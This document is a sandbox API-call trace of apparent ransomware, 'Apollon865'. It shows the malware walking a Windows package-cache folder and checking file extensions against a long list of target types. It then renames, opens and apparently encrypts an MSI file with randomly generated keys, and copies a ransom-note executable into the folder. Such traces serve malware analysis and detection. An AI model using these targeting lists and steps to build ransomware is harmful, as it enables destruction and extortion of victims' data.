	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0063.691] lstrlenW (lpString="myd") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0063.691] lstrlenW (lpString="ndf") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0063.691] lstrlenW (lpString="nnt") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0063.691] lstrlenW (lpString="nrmlib") returned 6
	[0063.691] lstrcmpiW (lpString1="86.msi", lpString2="nrmlib") returned -1
	[0063.692] lstrlenW (lpString="ns2") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0063.692] lstrlenW (lpString="ns3") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0063.692] lstrlenW (lpString="ns4") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0063.692] lstrlenW (lpString="nsf") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0063.692] lstrlenW (lpString="nv") returned 2
	[0063.692] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0063.692] lstrlenW (lpString="nv2") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0063.692] lstrlenW (lpString="nwdb") returned 4
	[0063.692] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0063.692] lstrlenW (lpString="nyf") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0063.692] lstrlenW (lpString="odb") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0063.692] lstrlenW (lpString="odb") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0063.692] lstrlenW (lpString="oqy") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0063.692] lstrlenW (lpString="ora") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0063.692] lstrlenW (lpString="orx") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0063.692] lstrlenW (lpString="owc") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0063.692] lstrlenW (lpString="p96") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0063.692] lstrlenW (lpString="p97") returned 3
	[0063.692] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0063.692] lstrlenW (lpString="pan") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0063.693] lstrlenW (lpString="pdb") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0063.693] lstrlenW (lpString="pdm") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0063.693] lstrlenW (lpString="pnz") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0063.693] lstrlenW (lpString="qry") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0063.693] lstrlenW (lpString="qvd") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0063.693] lstrlenW (lpString="rbf") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0063.693] lstrlenW (lpString="rctd") returned 4
	[0063.693] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0063.693] lstrlenW (lpString="rod") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0063.693] lstrlenW (lpString="rodx") returned 4
	[0063.693] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0063.693] lstrlenW (lpString="rpd") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0063.693] lstrlenW (lpString="rsd") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0063.693] lstrlenW (lpString="sas7bdat") returned 8
	[0063.693] lstrcmpiW (lpString1="_x86.msi", lpString2="sas7bdat") returned -1
	[0063.693] lstrlenW (lpString="sbf") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0063.693] lstrlenW (lpString="scx") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0063.693] lstrlenW (lpString="sdb") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0063.693] lstrlenW (lpString="sdc") returned 3
	[0063.693] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0063.693] lstrlenW (lpString="sdf") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0063.694] lstrlenW (lpString="sis") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0063.694] lstrlenW (lpString="spq") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0063.694] lstrlenW (lpString="te") returned 2
	[0063.694] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0063.694] lstrlenW (lpString="teacher") returned 7
	[0063.694] lstrcmpiW (lpString1="x86.msi", lpString2="teacher") returned 1
	[0063.694] lstrlenW (lpString="tmd") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0063.694] lstrlenW (lpString="tps") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0063.694] lstrlenW (lpString="trc") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0063.694] lstrlenW (lpString="trc") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0063.694] lstrlenW (lpString="trm") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0063.694] lstrlenW (lpString="udb") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0063.694] lstrlenW (lpString="udl") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0063.694] lstrlenW (lpString="usr") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0063.694] lstrlenW (lpString="v12") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0063.694] lstrlenW (lpString="vis") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0063.694] lstrlenW (lpString="vpd") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0063.694] lstrlenW (lpString="vvv") returned 3
	[0063.694] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0063.694] lstrlenW (lpString="wdb") returned 3
	[0063.695] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0063.695] lstrlenW (lpString="wmdb") returned 4
	[0063.695] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0063.695] lstrlenW (lpString="wrk") returned 3
	[0063.695] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0063.695] lstrlenW (lpString="xdb") returned 3
	[0063.695] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0063.695] lstrlenW (lpString="xld") returned 3
	[0063.695] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0063.695] lstrlenW (lpString="xmlff") returned 5
	[0063.695] lstrcmpiW (lpString1="6.msi", lpString2="xmlff") returned -1
	[0063.695] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865") returned 155
	[0063.695] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.apollon865"), dwFlags=0x1) returned 1
	[0063.696] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0063.697] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=143360) returned 1
	[0063.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0063.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.697] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0063.698] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.698] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0063.698] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23300, lpName=0x0) returned 0x150
	[0063.703] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23300) returned 0x120000
	[0063.714] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.715] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.715] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0063.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0063.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.716] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0063.717] CloseHandle (hObject=0x150) returned 1
	[0063.717] CloseHandle (hObject=0x118) returned 1
	[0063.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0063.718] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0063.718] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.718] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd50
	[0063.718] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0063.718] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a350 | out: hHeap=0x580000) returned 1
	[0063.718] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0063.718] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 71
	[0063.718] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0063.718] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.719] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.719] GetLastError () returned 0x0
	[0063.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.720] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.720] CloseHandle (hObject=0x15c) returned 1
	[0063.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.720] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.720] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f3d7510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3d7510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.720] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.720] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.720] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.720] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f3d7510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3d7510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.720] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.720] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.720] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.720] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.720] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3d7510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3d7510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.720] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.720] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0063.720] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.720] lstrcmpiW (lpString1="state.rsm", lpString2="Apollon865.txt.exe") returned 1
	[0063.720] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1
	[0063.720] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1
	[0063.721] lstrlenW (lpString="state.rsm") returned 9
	[0063.721] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned 73
	[0063.721] lstrcpyW (in: lpString1=0x119e698, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0063.721] lstrlenW (lpString="state.rsm") returned 9
	[0063.721] lstrlenW (lpString="Apollon865") returned 10
	[0063.721] lstrlenW (lpString=".dll") returned 4
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0063.721] lstrlenW (lpString=".lnk") returned 4
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0063.721] lstrlenW (lpString=".ini") returned 4
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0063.721] lstrlenW (lpString=".sys") returned 4
	[0063.721] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0063.721] lstrlenW (lpString="state.rsm") returned 9
	[0063.721] lstrlenW (lpString="bak") returned 3
	[0063.721] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1
	[0063.721] lstrlenW (lpString="ba_") returned 3
	[0063.721] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1
	[0063.721] lstrlenW (lpString="dbb") returned 3
	[0063.721] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1
	[0063.721] lstrlenW (lpString="vmdk") returned 4
	[0063.721] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1
	[0063.721] lstrlenW (lpString="rar") returned 3
	[0063.721] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1
	[0063.721] lstrlenW (lpString="zip") returned 3
	[0063.721] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1
	[0063.722] lstrlenW (lpString="tgz") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1
	[0063.722] lstrlenW (lpString="vbox") returned 4
	[0063.722] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1
	[0063.722] lstrlenW (lpString="vdi") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1
	[0063.722] lstrlenW (lpString="vhd") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1
	[0063.722] lstrlenW (lpString="vhdx") returned 4
	[0063.722] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1
	[0063.722] lstrlenW (lpString="avhd") returned 4
	[0063.722] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1
	[0063.722] lstrlenW (lpString="db") returned 2
	[0063.722] lstrcmpiW (lpString1="sm", lpString2="db") returned 1
	[0063.722] lstrlenW (lpString="db2") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1
	[0063.722] lstrlenW (lpString="db3") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1
	[0063.722] lstrlenW (lpString="dbf") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1
	[0063.722] lstrlenW (lpString="mdf") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1
	[0063.722] lstrlenW (lpString="mdb") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1
	[0063.722] lstrlenW (lpString="sql") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1
	[0063.722] lstrlenW (lpString="sqlite") returned 6
	[0063.722] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1
	[0063.722] lstrlenW (lpString="sqlite3") returned 7
	[0063.722] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1
	[0063.722] lstrlenW (lpString="sqlitedb") returned 8
	[0063.722] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1
	[0063.722] lstrlenW (lpString="xml") returned 3
	[0063.722] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1
	[0063.722] lstrlenW (lpString="$er") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1
	[0063.723] lstrlenW (lpString="4dd") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1
	[0063.723] lstrlenW (lpString="4dl") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1
	[0063.723] lstrlenW (lpString="^^^") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1
	[0063.723] lstrlenW (lpString="abs") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1
	[0063.723] lstrlenW (lpString="abx") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1
	[0063.723] lstrlenW (lpString="accdb") returned 5
	[0063.723] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1
	[0063.723] lstrlenW (lpString="accdc") returned 5
	[0063.723] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1
	[0063.723] lstrlenW (lpString="accde") returned 5
	[0063.723] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1
	[0063.723] lstrlenW (lpString="accdr") returned 5
	[0063.723] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1
	[0063.723] lstrlenW (lpString="accdt") returned 5
	[0063.723] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1
	[0063.723] lstrlenW (lpString="accdw") returned 5
	[0063.723] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1
	[0063.723] lstrlenW (lpString="accft") returned 5
	[0063.723] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1
	[0063.723] lstrlenW (lpString="adb") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0063.723] lstrlenW (lpString="adb") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0063.723] lstrlenW (lpString="ade") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1
	[0063.723] lstrlenW (lpString="adf") returned 3
	[0063.723] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1
	[0063.723] lstrlenW (lpString="adn") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1
	[0063.724] lstrlenW (lpString="adp") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1
	[0063.724] lstrlenW (lpString="alf") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1
	[0063.724] lstrlenW (lpString="ask") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1
	[0063.724] lstrlenW (lpString="btr") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1
	[0063.724] lstrlenW (lpString="cat") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1
	[0063.724] lstrlenW (lpString="cdb") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1
	[0063.724] lstrlenW (lpString="ckp") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1
	[0063.724] lstrlenW (lpString="cma") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1
	[0063.724] lstrlenW (lpString="cpd") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1
	[0063.724] lstrlenW (lpString="dacpac") returned 6
	[0063.724] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1
	[0063.724] lstrlenW (lpString="dad") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1
	[0063.724] lstrlenW (lpString="dadiagrams") returned 10
	[0063.724] lstrlenW (lpString="daschema") returned 8
	[0063.724] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1
	[0063.724] lstrlenW (lpString="db-journal") returned 10
	[0063.724] lstrlenW (lpString="db-shm") returned 6
	[0063.724] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1
	[0063.724] lstrlenW (lpString="db-wal") returned 6
